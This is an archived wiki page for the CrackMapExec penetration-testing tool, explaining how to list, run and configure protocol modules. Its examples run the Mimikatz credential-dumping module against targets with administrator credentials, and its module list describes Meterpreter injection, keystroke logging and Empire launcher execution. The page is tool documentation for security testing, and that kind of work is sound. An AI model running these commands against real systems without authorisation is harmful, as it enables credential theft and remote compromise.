This repository has been archived by the owner on Dec 6, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Using Modules
byt3bl33d3r edited this page Apr 26, 2017
·
4 revisions
As of v3.1, the way modules are loaded and used has changed in an effort to make CME more portable and to enable it to be packaged.
With v4.0, each protocol can now have it's own set of modules (fun fun fun!)
Run cme <protocol> -L
to view available modules for the specified protocol.
For example to view all modules for the SMB protocol:
#~ cme smb -L
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] get_keystrokes Logs keys pressed, time and the active window
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
-- SNIP --
Run cme <protocol> <target(s)> -M <module name>
.
For example to run the SMB Mimikatz module:
#~ crackmapexec smb <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz
Run cme <protocol> -M <module name> --options
to view a modules supported options, e.g:
#~ cme smb -M mimikatz --options
Module options are specified with the -o
flag. All options are specified in the form of KEY=value (msfvenom style)
Example:
#~ cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'